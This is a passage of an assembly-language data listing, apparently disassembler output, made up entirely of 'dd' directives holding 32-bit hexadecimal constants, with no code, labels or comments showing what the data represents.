		dd 0D9F9B3A5h, 587BC8h,	38A94926h, 0C6640418h, 5C12D707h
		dd 4B80E7C0h, 3781A3Fh,	0CEB79E20h, 1FB01EDFh, 142601A0h
		dd 20324EAh, 98888DE2h,	3C65F2h, 3AB77881h, 6703B980h
		dd 9D1F9800h, 0AF47799Fh, 7FFE002Ch, 237D4A65h,	0CC009231h
		dd 0DEFCC42Dh, 9681996Ah, 3C2A87D4h, 0BFCC4AA5h, 0DB263E00h
		dd 40B59BDCh, 0FFF8671Ch, 5785A540h, 1CF41258h,	0C09F1455h
		dd 8B7D6DBBh
		dd 2500BC69h, 6DFFC3Ch,	12734E89h, 3AE3E2h, 587A63C5h
		dd 740FD691h, 6099BF56h, 78B0855Eh, 0A6920037h,	0C401C9CEh
		dd 0FE00CC21h, 0C3E45F80h, 367304Eh, 0BDD8BA14h, 80B7F508h
		dd 0F298819Ch, 94C5891Ch, 0F8C3D4C0h, 129E4Ah, 1F7170CDh
		dd 7CC6055Ch, 7EDA9400h, 0FA756A95h, 0A1D20086h, 26D38420h
		dd 4B0110FEh, 7147F22Fh, 8851DA75h, 0C820082Bh,	0E31D0045h
		dd 0ED20B2A2h, 14077F9Eh, 135E782Eh, 0FE75DBD0h, 80DA009Dh
		dd 928F4438h, 341F5ACFh, 0C300DF8Bh, 7B6F4D19h,	475E2C39h
		dd 57380084h, 0AB7A4CB8h, 4A29BCA0h, 0EFA03013h, 180D6400h
		dd 9AE179F5h, 163A056Ch, 2068B505h, 89AC82C8h, 0A8DD1E28h
		dd 4C00CCF0h, 70E0C09Eh, 1F0D2Bh, 79FB204Eh, 926FBC6Ch
		dd 29C73800h, 73F86493h, 0C5B018EBh, 0F97EDECDh, 0F4725E09h
		dd 9A8D802Fh, 7A75BDh, 67479954h, 733C1912h, 7452B51Fh
		dd 0F69B890Eh, 1A34FA00h, 24B11F46h, 71DAD3Eh, 9363143h
		dd 0A151EF80h, 0E6005570h, 66D5C5A6h, 1CE88BD1h, 0F3ECCE1h
		dd 0D94340E2h, 0A0F77FA4h, 5B05A7B4h, 98836C24h, 79885607h
		dd 24199330h, 37A000B9h, 0B11707FDh, 1C0092B0h,	0BC189D20h
		dd 8BFB43h, 0BB850684h,	0F511CA3Bh, 0DB86FC00h,	0FDCC465Dh
		dd 67DA24A9h, 0ED6F006Ch, 1814A1F8h, 84EFF100h,	0B51E6AB0h
		dd 98E0FBh, 57B943FEh, 71523C7Fh, 0D0C2B700h, 0A9B0445Ch
		dd 475A3F4Fh, 36DA4ACh,	0D2FF82EAh, 507ADEE0h, 950AC916h
		dd 494E6007h, 6D704401h, 983D5030h, 30410070h, 618964EDh
		dd 133CEE34h, 0A951005Dh, 1FF6CC9Bh, 9DD0048Ch,	0E0867C20h
		dd 0F81FAEC8h, 580068DAh, 8E3AFFF9h, 672000Eh, 0D0C6641h
		dd 1D3CFAD3h, 1F8081F8h, 96F76912h, 85F1E0h, 9F6595C0h
		dd 0B6053513h, 222D4D00h, 53DCD778h, 0CC1F2E9Bh, 0EDA70733h
		dd 36D80B1h, 0C607D54Ah, 0CAA5E082h, 9AAD850h, 2BEF642h
		dd 69251867h, 0A8A0D32Bh, 0E9FD1664h, 88274300h, 0F8783ACCh
		dd 1E08EA0Bh, 0A6A157BFh, 0A9D600E0h, 0CDF64FECh, 47749505h
		dd 5BC0E0CFh, 3DFBC3B5h, 0DA3A2ED5h, 0CD57820Fh, 84BB6AC0h
		dd 1D7D27C8h, 83E7E33Eh, 0BE589B38h, 7587A845h,	17F93B02h
		dd 0EE4EFE84h, 63A780C1h, 85FE345Ch, 12682F5Dh,	30C09BE9h
		dd 5F066Bh, 51151DB8h, 0CBA168D1h, 1A87EC00h, 6A889D32h
		dd 0F0D9817h, 79474D40h, 58CED61h, 0F0F2E8A8h, 0EB3AA700h
		dd 0BE4A2DAFh, 31380211h, 9299F88h, 0B7804C8h, 1FC72094h
		dd 0B7AA62F0h, 0FFF500C1h, 250477BEh, 98122D45h, 0F401EE76h
		dd 0AB3C120Eh, 1AA3F740h, 185261A7h, 0E0CBA5E6h, 0A10091C8h
		dd 5E54B8ECh, 7CE59907h, 49A20093h, 2CBE5A50h, 920083E7h
		dd 9C46E6ACh, 5E3129h, 0BFF26236h, 0E5183EB6h, 4BC5F300h
		dd 0D5565D09h, 3FAF0025h, 24D79011h, 0D41E9D29h, 0C91F8A4Fh
		dd 0E9E12782h, 4AF9E0C3h, 6B73005Eh, 0A5EE2967h, 0C0570E3h
		dd 0BADA72A7h, 1E4AE8E0h, 0DDF27737h, 4527409Ch, 4FB5FF6Eh
		dd 0C55F0B00h, 3B6DFE4Ch, 7CDBFC69h, 70ED008Ah,	20EF36EAh
		dd 6701D1AAh, 0D2A97C95h, 6AC41556h, 931D005Eh,	7DBC3124h
		dd 6F04FD21h, 0CAC90179h, 0A4150EAAh, 8059D884h, 34DD0790h
		dd 0F6EC5B00h, 5E35582Ah, 0A1A700C4h, 6D038E29h, 0FC006E6Ch
		dd 0A3544FB4h, 3D23E3CAh, 0F192D8FAh, 74D40052h, 95FEC7DEh
		dd 0A0D4B300h, 43C56D0Eh, 864F3A6Fh, 49EA7680h,	0D6BF1BCFh
		dd 7944D402h, 0C07B918Fh, 233443h, 0BA13A781h, 0AEAA8CB9h
		dd 72B36C01h, 3198E036h, 4F951424h, 0C86C30CFh,	0B0F0FC8Ch
		dd 0E7EEF609h, 0AF0C2069h, 24A1C135h, 0F9F915h,	0E13997A8h
		dd 93F4DC8h, 37118C6Fh,	13BA613h, 607B845Ah, 0E8CE636Ch
		dd 0D31D505Dh, 0B940A262h, 31F6E8BBh, 0AF3D01F3h, 0FE0A6567h
		dd 0C69E3088h, 5A9258h,	6AE21893h, 7B15519Eh, 0FE8A3EDDh
		dd 0AEFA0680h, 4954C402h, 610E9C00h, 0EA9B7231h, 0BB01F5Dh
		dd 0F5140107h, 0C01CF788h, 0FE1FBBBDh, 0C0C4D56Ch, 0B8E03AEBh
		dd 3962018Eh, 9ADB7025h, 1123F8B6h, 3622A803h, 0E03F1F0Ch
		dd 0E4A19Ch, 9A78348Ah,	3DE97191h, 0F4169000h, 9DC529F3h
		dd 0D5B90026h, 6D0AB61Fh, 0F809E4DCh, 6408C22Eh, 3C8B2430h
		dd 0AD813F5Ah, 0A297D2Ch, 4B656068h, 0F57D1AECh, 0D076BB8h
		dd 0A4CA468Bh, 91B4A0ABh, 8DFE9Eh, 0F1CBF0B5h, 7F528A84h
		dd 0DD0F0100h, 3E543772h, 0F3920748h, 0F7BFC8B6h, 0A06D30Bh
		dd 2C28E1B8h, 6AB7D40Fh, 364EE025h, 31D83CEh, 335F4A3Eh
		dd 0D2B194F6h, 9F21801Fh, 0F00BE57Eh, 6FC00B1h,	0A763EA38h
		dd 0AB0CAA5Fh, 0DE886F7Bh, 0C48700AEh, 0E66AEF4Eh, 89725C6Ch
		dd 0A900DDF6h, 0CA94D935h, 2C12BBh, 189AD06Fh, 0A614F0EDh
		dd 356C0E00h, 97BF02C0h, 46950F30h, 0CDA0E5B9h,	57DBAD27h
		dd 0D543C06h, 16488DE7h, 0C05A1C0Ah, 6813DAC4h,	1AF4C0Eh
		dd 0D903E4A8h, 7288CCCh, 0A6B561B4h, 0CE97D0EAh, 0B9007051h
		dd 0F1383921h, 1C8D7ADFh, 400E89CFh, 8855BF5Fh,	731E7B31h
		dd 4019D52h, 32E94050h,	0A4004829h, 4B0E5FB9h, 85C7707h
		dd 0FD4338C9h, 809391CFh, 0AB3EB822h, 1B10039Eh, 5DB603B7h
		dd 0E50CAD80h, 9BAA180Eh, 2E1D4080h, 34DA04Ah, 5F2B297Fh
		dd 69055611h, 5EC72A95h, 0FC687418h, 8D2601B3h,	2A92114Fh
		dd 0DC10429Fh, 0EA0CF000h, 0CB45021h, 560A37E2h, 0B7258050h
		dd 0A32D717Eh, 599C80D8h, 0DD6D6Eh, 9AD2AE12h, 92E6625Dh
		dd 3E7CE4EBh, 1B233600h, 0F0E2AA0h, 707F00FBh, 0E2A75B16h
		dd 0D6007DCEh, 648FD991h, 0BC3E02h, 27129C90h, 0EE1D38B5h
		dd 0E8285B03h, 0F89859C9h, 39BF8DADh, 73005E3Ah, 1083F512h
		dd 1F003CA3h, 96514156h, 479586h, 94D01163h, 0DE985E1Eh
		dd 3F619A1Fh, 27756BCFh, 0B857773Dh, 0CD9DA830h, 0D4E00A5h
		dd 37C9E68h, 0D8004AD6h, 0CBD01E25h, 0FC623Fh, 0A9AD8E1Ch
		dd 0B0F43E68h, 9775BE01h, 0BC0898E1h, 1CC3C2C4h, 13B73643h
		dd 1097FFh, 2BA2215h, 497C0F05h, 0D0081F2Ah, 124D00EBh
		dd 0EB546DDh, 239DCE00h, 7996C203h, 0BF5D0299h,	67F1B12Eh
		dd 0C0921321h, 77B08CCh, 0D3F05F34h, 21EC4607h,	0C0BDA400h
		dd 0D4A6B993h, 0DD260072h, 40F1B755h, 730E4BABh, 81605D6Dh
		dd 0ED75A05Fh, 2D3C432Fh, 53C0B6B3h, 0D90EBE4Dh, 97D76018h
		dd 5ADA68D0h, 0E75C00A9h, 2C5E4C1h, 513B2169h, 8641818Dh
		dd 755D9855h, 203A8992h, 9C5C3974h, 3088B300h, 0A40927BAh
		dd 0C42F465h, 7213203h,	0A80F36E8h, 805A4895h, 6133ECFDh
		dd 40AF00ACh, 735FD6AEh, 631CE15Ch, 6E5E314Fh, 9547880h
		dd 171566DAh, 0C97E9h, 76F60812h, 7100A623h, 46FE9103h
		dd 0EDE3F95h, 0AB4165Eh, 680051ABh, 0BD57AC7Eh,	39A3BE3Eh
		dd 0F14980F4h, 0F2F6E55Ah, 0D96E00D3h, 12CDF5B5h, 0F706EFDCh
		dd 9FD49B0Bh, 78410008h, 0E5C53F25h, 470F7A86h,	20D27E59h
		dd 490A3E9Fh, 0CA610169h, 0C2FFE88Fh, 137E95Ah,	0BA1F36E5h
		dd 67CEAB04h, 83C03F2Bh, 6D5E4CA7h, 1ABCC91Fh, 0F3EB6300h
		dd 861C25h, 87A9E7D6h, 0BFE8815Fh, 0C63BBC00h, 62918D12h
		dd 291562C9h, 4E22E48Ah, 13A22295h, 64387D21h, 0AF107E02h
		dd 86E8994h, 70EF208Ah,	10E59222h, 21BC0F4Fh, 0F4F208AAh
		dd 88242688h, 968866C0h, 0FD338C11h, 28A21AA1h,	29118163h
		dd 6576C032h, 64E51E9h
		dd 0A19EDA14h, 5128FE50h, 4022F544h, 0E20FE8E6h, 0E03C0BBAh
		dd 10A52C77h, 7ADB1F28h, 56A44037h, 0B665BFF7h,	20F04300h
		dd 7F3F71CDh, 644D0058h, 0E14A091Ah, 991D9234h,	0E780DF97h
		dd 5E0D2296h, 586B3F3Bh, 0F7E38B80h, 0C1EBC9C7h, 5F4EC600h
		dd 0B3A32E85h, 77F6008Eh, 518D24CBh, 9600BC34h,	0EED676B5h
		dd 0D262ADh, 0CE690D11h, 0EAC352D0h, 2790FE00h,	35445FAEh
		dd 7C34003Ah, 7882E9B4h, 7671190Eh, 7B04FB00h, 6AA7A951h
		dd 0B67302EAh, 5DE67CD4h, 3E44C380h, 7E007A14h,	1C6E5694h
		dd 6407C8h, 0E3E8DB25h,	0C4143F93h, 110095E8h, 9C54AAF6h
		dd 77872D38h, 0F3C90D7h, 83405E12h, 0DC496060h,	0B700F553h
		dd 0A921A787h, 0B5F1BDh, 0C13332CFh, 16EE9B26h,	619CAE09h
		dd 0A9A380A1h, 1C10B4DFh, 42EC19h, 0B854F169h, 3D01FE31h
		dd 2A5D7C6Bh, 7180BA1Eh, 32DD61A1h, 5400E880h, 241CD381h
		dd 3B36250h, 3CE17812h,	7800A811h, 0C449F9E5h, 267E8h
		dd 0BBC2FC77h, 0C7DB6BC3h, 5D1DAD00h, 0B5F3D1A7h, 8C1F0747h
		dd 0D0EF0E5Ch, 7CDA8152h, 0DD1D9700h, 71CCD2F2h, 8AE30024h
		dd 0FDABF101h, 21303FC4h, 0FCA3DCAAh, 9B0D00A6h, 83865306h
		dd 1900C769h, 681CACCAh, 15A3C35h, 57F7F834h, 0C0467E48h
		dd 2F0153DEh, 1EEC54FAh, 0ADFCBA27h, 0E4B4004Bh, 88114D5Dh
		dd 0F80748ABh, 6B8C0DAEh, 73125BC0h, 3EFF2A4h, 0F5E88AB2h
		dd 1AB83667h, 0E11DAD22h, 9443662Bh, 761563h, 7EA8CE42h
		dd 0E044E89Fh, 7F00BDE6h, 0AC6BE75Fh, 7492C2h, 42E988B2h
		dd 0B12D0B3Ch, 6F81FC01h, 53EC55F6h, 2E7CC4h, 19B093CCh
		dd 0B70CF86h, 1F709448h, 0A600E1EEh, 3BC91468h,	60FB00A5h
		dd 0D7B09A7Dh, 5800B801h, 8F56E6EFh, 48BFB90Ah,	4100B5F9h
		dd 0CE2EA593h, 21281ECAh, 907FC65h, 277B2A70h, 4AC080D5h
		dd 13CBAC72h, 55DE2Ch, 2A747162h, 60923D0h, 188467CFh
		dd 0F3B1A4h, 35E58EBDh,	7212D6CDh, 0E3F62C78h, 0A60063FCh
		dd 7C182A9Bh, 7548D58h,	0BC0E8FFFh, 556F20AEh, 95E69C8Eh
		dd 0F407A000h, 0BA6CE3F9h, 0B701005Fh, 0AC91D76h, 0A2F6BC9Ah
		dd 0FF16990Eh, 0E84AA03Dh, 2478EEh, 43278F1Bh, 6F7F6B60h
		dd 0A2D37E00h, 0C369D5B2h, 770100E2h, 0E35712BAh, 0B6003F66h
		dd 0D762CA22h, 782ABADh, 2CA5CB23h, 5F6710F0h, 860042C6h
		dd 2B1D737Fh, 48147B84h, 41002DD2h, 6405531Bh, 470092DAh
		dd 9EAC2587h, 1D240BC4h, 6E37958Eh, 2AF40037h, 4AAEEE59h
		dd 0DAA8221Eh, 0B373FDC0h, 93A397h, 0D6B92091h,	5B5D4E63h
		dd 30ADC00Eh, 0D977C082h, 24368009h, 0B0526Bh, 26143306h
		dd 4F0086F8h, 0CE663FFAh, 3F4CA67Dh, 0A98058BBh, 0C2827AEFh
		dd 0A3004210h, 0C3043C6Bh, 1F0EB4D8h, 0C05E621Fh, 6F51B3F8h
		dd 0C0704FB2h, 0A0124778h, 4100073Bh, 8E96920Ah, 0AB40245Dh
		dd 0C2C300E4h, 0E3F06889h, 92CD7F00h, 655A7984h, 489600FDh
		dd 28DE2B0h, 289AFFA5h,	0C62D2200h, 12924D4Fh, 0D60E00CAh
		dd 0E70F875Eh, 509059BEh, 0E4D8FF00h, 0B38B8939h, 18C0045h
		dd 0E29D0A78h, 4F00CEB2h, 0D71F23Fh, 75E37A2h, 663C4564h
		dd 6096D031h, 797BB8FDh, 7EA0BC00h, 63703E33h, 0DF61008Bh
		dd 43BA4D5h, 180F504Bh,	40172E8Dh, 0F4459D02h, 0A15C0AC1h
		dd 3EC728Ah, 7D068938h,	0B75518F0h, 58098600h, 4895C1F7h
		dd 3BA2FE31h, 82003D36h, 1E0FE51Bh, 520F7EF3h, 0C0379B8Ch
		dd 0F7F68741h, 26D00F0h, 0D72A8E6Bh, 0C3124429h, 90414F2Ch
		dd 0E0A2B660h, 67A1FCh,	0BF7D0F04h, 991F726Eh, 0C6008DECh
		dd 29EC9D23h, 1F5610B9h, 40979B20h, 19C8E784h, 1F00DB12h
		dd 31B46CA5h, 761BEACh,	839CDEEBh, 29F1D014h, 0AF003E4Bh
		dd 1CB4EE09h, 1E1D877Ch, 8014D406h, 7F1373BEh, 0FB00E7B9h
		dd 0D9BFBA40h, 78E79B3h, 91AFCB43h, 0FC7E405Eh,	0F9001BEAh
		dd 73C09F4h, 1558839h, 95462887h, 2E182347h, 16B19AA0h
		dd 0F05E6F4Bh, 3D76B64Bh, 0BAA50100h, 0FEF9FAB8h, 0B9CD24CCh
		dd 0BB68001Eh, 0E291D34Bh, 9765D200h, 41CB3178h, 23AA0FC2h
		dd 7A6005FEh, 99625D67h, 91EF700h, 0AC4980B5h, 47040E26h
		dd 41C3ABC1h, 16D078F0h, 390988F7h, 80067018h, 93DC4412h
		dd 8F5E0757h, 0F0542C99h, 0DA74AFA3h, 85E2C6ECh, 8328C900h
		dd 42B0EB6Ah, 0E7C7004Ch, 96083F90h, 0CB07D64Dh, 8886C2D0h
		dd 425F93C0h, 0C3D0046h, 0B8CF8CE6h, 1D000407h,	0D36FA75Eh
		dd 35882FDh, 4D79D608h,	14B8F59Dh, 38006134h, 65FC2C69h
		dd 72FF359h, 1F9B23BAh,	0A5C1B08Ah, 0E9307857h,	0D3BC2A13h
		dd 845D0BCFh, 0F80B917h, 593CDCDDh, 58EE6B00h, 50A666E9h
		dd 5A2000C3h, 0B47DA48h, 0A500D410h, 0A4BDF57Ch, 801BF4h
		dd 0B413E1C2h, 3EC54516h, 0E692D016h, 0D58C4D00h, 0CB67B6h
		dd 541E9CC3h, 319BE494h, 4F76CC00h, 1337054Bh, 0B9FE07E7h
		dd 0C33811EBh, 5EE8F2AEh, 8118193Ah, 5830A016h,	26DD0FD4h
		dd 1A80494Ch, 12BB0207h, 1D0333Bh, 21953287h, 448EFC0Ah
		dd 0E2405CB6h, 980DD8C4h, 0EE40CCFFh, 0B4CDB200h, 72D5A114h
		dd 3B910017h, 21B848DBh, 6A7A8E69h, 39393277h, 76CE0040h
		dd 0B12A9E42h, 8A58005Ch, 0B9C6D274h, 7C1CA980h, 881F22Fh
		dd 0FE55E459h, 3BBFC0h,	0C18C6E2Ah, 77F93E9Bh, 6F92DD1Dh
		dd 7B40B6C0h, 3B0BA854h, 808007CCh, 0B0D0AE14h,	0FB00D3E6h
		dd 876088FAh, 86CDEAh, 0F74D75A2h, 10F11777h, 3B0C4101h
		dd 383D8AF5h, 0C532A70h, 887708C6h, 150059E0h, 0C1DB2639h
		dd 0E580E3h, 0AC844755h, 499E5C04h, 0A499FB00h,	40C22834h
		dd 8D6900E0h, 0ED7FF073h, 14010747h, 49BB8B67h,	7871540Bh
		dd 34B5FFCh, 0A879306Bh, 219395D1h, 0D98198A0h,	0C71C7EE4h
		dd 3F80B6F1h, 6F15E4A6h, 3B4B0153h, 8D4FFE03h, 2DEDC8D5h
		dd 1A3F9400h, 3A91C435h, 0B716074Dh, 80C379B2h,	1FDC27A5h
		dd 0A8DFFD00h, 0B4A7EA46h, 9B4000AAh, 31CE425Bh, 53019039h
		dd 6CCCDC3h, 45FC6324h,	93D00E55h, 0B036FBC2h, 7400C680h
		dd 0BB0E41F8h, 45EBE7h,	2732625Bh, 0F6FE7E46h, 3B3FED00h
		dd 29B2F05h, 0C284009Fh, 16BA1103h, 0CD008EF0h,	0D41F8A5Dh
		dd 98420Ah, 0AF6F8D06h,	0FCE98C43h, 873B5A24h, 0FCA91Eh
		dd 498B31A2h, 118E57h, 1C25D0A5h, 71E4F2DCh, 96E267B8h
		dd 0ABE9CB02h, 60FD2D80h, 33DCAB6h, 4CC68307h, 8FB89170h
		dd 0E9B822A2h, 28142D00h, 0A340AC3Ah, 2B900F37h, 0BC60E120h
		dd 0C41018AAh, 8DCCCF03h, 0C728734Bh, 0EBF42F60h, 49C3018Eh
		dd 0DCB6D1E6h, 39708F63h, 0F0CC4093h, 2E9DC5h, 838E53B7h
		dd 811C4C57h, 8135773Dh, 38159870h, 0C2D4A43Fh,	9ABF068Eh
		dd 0CC497961h, 52B22F00h, 805D407Ch, 6BE8018Ch,	4BEAE5D1h
		dd 0A868BAFFh, 81036CE2h, 0F71E5E72h, 2FD9C8C9h, 0D49F2616h
		dd 8B8C004Ch, 0E271FDF0h, 7DA53Dh, 586274FAh, 0CB1727h
		dd 359E8D38h, 66230E44h, 0CCFCA700h, 107C3A9h, 306F03F8h
		dd 1448D8FEh, 9BDE1809h, 0ADC58099h, 20BEF42h, 0F15EE715h
		dd 9EC08393h, 3C00DBF4h, 0A5A17520h, 9E24D1h, 5E7670FBh
		dd 887BAFE0h, 6F9D5603h, 71393E83h, 334D00D0h, 0ABECC4DAh
		dd 0AE009B96h, 3082566Ch, 6E75B6h, 0CD2D88F3h, 0F7B35DA0h
		dd 0E7A40C00h, 7EB6AADBh, 0B5540078h, 8B943305h, 7A016BA0h
		dd 0DA43FC15h, 0C340C7Fh
		dd 4D1624DEh, 0B17D0324h, 0FDB0C3E1h, 8B50C141h, 9F73BBE9h
		dd 9EDBAA00h, 1D9780Eh,	653B007Fh, 3520D189h, 98009D45h
		dd 3F31D462h, 14B09D0h,	57F90F36h, 0F8102EAEh, 92000C7Eh
		dd 0DBC38185h, 0DA7D53h, 0A3F208B9h, 317C1A5h, 266320C0h
		dd 0EA7716h, 191AB7DFh,	1F27E156h, 7DD8BD07h, 0DE00963Bh
		dd 3FEE9BBFh, 4700689Ah, 0DA299165h, 2E38F37Dh,	0F7941DE3h
		dd 6A74A400h, 488B2396h, 73004446h, 83D74F30h, 0C1304E7Eh
		dd 325EF0B7h, 0FAB100E2h, 4599AED2h, 142085BEh,	30CE000Ch
		dd 245CD5ADh, 0D0005331h, 226C988Eh, 3B513D4Bh,	0FFA67A89h
		dd 0B7540030h, 53F8EF17h, 7B4E300Eh, 8BCFA0D7h,	44675Ah
		dd 0CD3E2349h, 5672EDF3h, 0B873E000h, 0C02EB317h, 75910750h
		dd 402C438Bh, 935AC762h, 0F5528200h, 34892380h,	86391DB2h
		dd 712C8066h, 28D1CBDAh, 5243858h, 3ED77A9Eh, 6D4F8B80h
		dd 8A01F64h, 1B5F40ADh,	0FBB3F5EEh, 0E62D3Fh, 6973218Eh
		dd 0B9619Ch, 637E137Fh,	0D49DA402h, 0E6C13604h,	0C0AE4EF7h
		dd 93ACA393h, 16C4971Ch, 79FBF3C0h, 304A75h, 0F5659F4Ch
		dd 6FE51DCCh, 5EEA160Eh, 2BC1A0E6h, 6D12D1Bh, 0BB41E2F3h
		dd 0A6E678F7h, 804F0B38h, 0D0F946B6h, 7B4CCFh, 4E47EFD9h
		dd 5D3F1B38h, 0B912F390h, 8841BDA7h, 1A6E3AFh, 2D1420h
		dd 26EB070h, 20D22F5Fh,	54F60400h, 0AB3412B2h, 0E8ECA0B6h
		dd 33240C2Ch, 4100818h,	0EE4C1F00h, 9CC7411h, 0C8C705F3h
		dd 0E46D91Eh, 796057ECh, 0F00F4526h, 2B1D9507h,	0C230B82Ah
		dd 12929C85h, 0DF833Dh,	1D5C4360h, 31C9AAFh, 57C7BBDDh
		dd 9F73E81Ch, 60B0003Eh, 0A5297EE0h, 0F0260C0Eh, 8400997Bh
		dd 0C8975419h, 0C314004Eh, 0FD40EC8Eh, 0A3B1713h, 4A7F00FEh
		dd 4592A381h, 3852FED5h, 0CC0901B7h, 0E0031BA5h, 0F8E09E7Ah
		dd 25E8F771h, 1FD9D0Eh,	23960B47h, 0E87CE61Ch, 4A0449F6h
		dd 3C25F846h, 1007572h,	25F20782h, 3F6EC8h, 0A58E3EBCh
		dd 63C64696h, 2F9C291Eh, 0E0D83686h, 0D2CD02C8h, 0F1D62F9h
		dd 0A2848840h, 0FEFC391Fh, 3C00771Eh, 13AC02BAh, 4911486Fh
		dd 98170600h, 9CCE5C56h, 0B119A71Dh, 0F41D6740h, 0ACA9FEh
		dd 1C5ED577h, 94CFF945h, 0E95CDA7Eh, 602F0148h,	557E3392h
		dd 767B32C0h, 4CD7B9Bh,	73FD15C3h, 3D0880BFh, 0B504CA9h
		dd 930010ECh, 9C41B66Ch, 0F08DF8A3h, 0FE0D2A80h, 0E4F702FCh
		dd 0F07951EEh, 4ACA4468h, 1262ED00h, 441FC052h,	0E50E00DBh
		dd 0FF34F61Ah, 0EC0BB671h, 80A32BC8h, 56776904h, 868500FDh
		dd 7F9FE36h, 0F40063D8h, 0B9830CC2h, 0A3934F2Bh, 4580BC98h
		dd 0C1E312h, 0E22E5B98h, 69F76632h, 0BC342B28h,	0FDE17801h
		dd 0A18F9E45h, 1D4A1DDCh, 0C2239573h, 0DC477FABh, 0FD026440h
		dd 0C952608Ah, 3A5D00D1h, 7582A820h, 1F0F6F30h,	0A0919FCCh
		dd 0C11CE459h, 57B82Fh,	0C70385C9h, 0DE9B7472h,	15C23602h
		dd 80326DECh, 0A44684A0h, 96F8FBBDh, 2F7C0738h,	0F953FBD8h
		dd 5707A880h, 490368AAh, 64D7819Bh, 69FC80E8h, 1C7539F9h
		dd 5B15BC03h, 503E34B3h, 1F484953h, 0FB40E510h,	18ADBEEh
		dd 0E798A0D2h, 0BCAE00A6h, 5129D830h, 5D019FB9h, 31B385C3h
		dd 0CC403DDAh, 2275578h, 6E79B153h, 0CC8E160h, 3A007C0Eh
		dd 0D1507539h, 0C534AB6Fh, 80E10D18h, 0FAC77F8Ch, 8002613Ah
		dd 0D580E563h, 2598ADh,	0CF46AB73h, 0BD6AACA0h,	0F02DEE4h
		dd 60DC24CBh, 4EB8E0E3h, 0D77100F3h, 97A662A9h,	6D0790B8h
		dd 0EB72D4AFh, 37A5CEC0h, 0B7F651h, 93973048h, 17AADF69h
		dd 2488EB00h, 2312DAD7h, 3F2B0009h, 54C86EF8h, 1A00EC2Fh
		dd 1EE41956h, 0E8B6A063h, 7A0D00F2h, 2289CFEBh,	6D2698D7h
		dd 0A901E8D4h, 32F5C241h, 48F97AC0h, 6712C8F7h,	734C20DBh
		dd 0FA01F5B0h, 6258830Dh, 5430C170h, 0A36073Ch,	306A114Bh
		dd 7A6B831h, 2B85382Eh,	982ED402h, 41E8687Eh, 457F006Ch
		dd 0C5D27269h, 0ED3EE317h, 0EFC9050Ch, 0D800D188h, 56A73C2Dh
		dd 83DC1530h, 7D00C422h, 962E90C7h, 7173C91Bh, 6842E71Fh
		dd 8E16A780h, 7D7A69h, 0D14AB646h, 34A4B887h, 7F3B3Fh
		dd 0FD73C29Ch, 0B8F27D9Dh, 2C709D8h, 3C40CF33h,	8D004C19h
		dd 0F4C43E7Ch, 71C373FCh, 3C264D52h, 94067900h,	15EF5604h
		dd 5B76D898h, 0E5FEB600h, 0A40D0F92h, 85DA00BFh, 0C06CE0Bh
		dd 187DB78Ch, 0E68FC400h, 0A0CCFA3Dh, 0D3B3182Fh, 0B0ED10E7h
		dd 0AD731A00h, 0F842A670h, 109818DCh, 1361A0A5h, 88CC7228h
		dd 0BE7EB713h, 0A88C7800h, 1B30319h, 0CA9DCE9Ah, 20D5EF5Ah
		dd 0D9005ECCh, 31264D0Ah, 193535Bh, 68CCACDAh, 0D8898188h
		dd 5D28701Ah, 5100F8CEh, 5AE8BA56h, 0B179C8h, 5F01077Eh
		dd 14A8D283h, 403A4D6Eh, 3F84E5B2h, 0E42C0095h,	2E5386CDh
		dd 0A00040C2h, 89830222h, 1429FADh, 0D4A2585Dh,	30869296h
		dd 43003844h, 828790FFh, 78954B16h, 8CD33CB4h, 7024205Ch
		dd 0AD750018h, 430347E1h, 6E00D773h, 733D58FEh,	164BD05Ch
		dd 9F50BFh, 61B6A8E7h, 8600239Eh, 161CED90h, 0F36A4270h
		dd 0EFD0460h, 7611A2D1h, 878763A7h, 2CEFC053h, 0F4E48EE6h
		dd 2B52170Ah, 8738BF28h, 86631591h, 76A450B0h, 499D38A7h
		dd 0BB196780h, 9A6018C8h, 0CCBF5Ch, 0F12410A0h,	4D0C69h
		dd 3F20D190h, 1418FEB7h, 58440430h, 6DA360h, 24FC58DFh
		dd 0F5CC5B2h, 0C4F1AB00h, 9C4698E2h, 738A0038h,	0BD6E89B1h
		dd 2601F4B4h, 32552037h, 6B60CB8Eh, 641E045Bh, 0C091774Bh
		dd 0D25868ECh, 0D58D5C0Eh, 8744C093h, 906C4Dh, 0C0DBEC28h
		dd 0E495ACCAh, 2A0025FCh, 71BFEDBCh, 90329Ch, 64355AB4h
		dd 430F1AF4h, 3C93AF07h, 4261EE97h, 0A4E9C4A7h,	49AE5020h
		dd 902701Ah, 4484CB85h,	36002070h, 70AE9031h, 7D4FF306h
		dd 971C00A4h, 4D03420Fh, 0EC00B8ADh, 66D69B48h,	0C72016h
		dd 93EFD241h, 559E7F75h, 4FE9A10Ah, 39C83Ah, 0DF03071Fh
		dd 0F34ECE32h, 7D5AD8h,	0AE77AF60h, 61FE8783h, 0ECFFC8CAh
		dd 0AB260F60h, 773C00EFh, 0B3EC4937h, 580089E9h, 0BD7687BBh
		dd 205CC6h, 399B4C6Dh, 24A93459h, 0C8375716h, 122C4001h
		dd 10307AE4h, 0EC67003Fh, 25AD309Ah, 0FE00DB2Bh, 0F4A93CE2h
		dd 0E76C1Ch, 0C284D492h, 71462EFCh, 2407C4A4h, 39E6117Ah
		dd 9C2B3AF1h, 0FC2DED0h, 8910E29Bh, 0E487EB29h,	0BABE1196h
		dd 8E0F204h, 0A01C875Ch, 0E1DED403h, 4AD2E681h,	287452D7h
		dd 0C6AE0020h, 7253E395h, 8300CFF0h, 0E0F6F3CBh, 1E06B0AAh
		dd 0E426225h, 4CE09F99h, 597E5A3Ah, 0CFBE2200h,	274D44A5h
		dd 5C1800DCh, 0D14BF90h, 421D94D7h, 8000A007h, 818708A6h
		dd 0FEA33E8Ah, 4EA73BBCh, 3600525Ch, 6B4426D0h,	13A703FAh
		dd 28B1DA1Dh, 13338F8h,	17ABF91Dh, 0ED152A40h, 9C5E1Eh
		dd 1D4888D4h, 59799061h, 0B0D25A00h, 22201729h,	0C8620581h
		dd 0C0B3EEF7h, 0ED58BE3Ah, 9D152504h, 98C0735Bh, 18B4DE05h
		dd 0A0F7AAD0h, 0E173C434h, 6CA83800h, 0A4F0F2F3h, 41A10490h
		dd 8345AE6Fh, 6DA89E82h, 7900777Eh, 0E33D8CABh,	688BDCh
		dd 0FD4CBF38h, 0C8ADAAB9h, 0BB6521Fh, 890269C0h, 28DA7BEh
		dd 0AEE8DFC4h, 0F1C02861h, 500B907h, 0C3F964BFh, 9A462h
		dd 0E4A10E40h, 0F2756561h, 0E72CDB00h, 0E88D4D39h, 9F0A00B9h
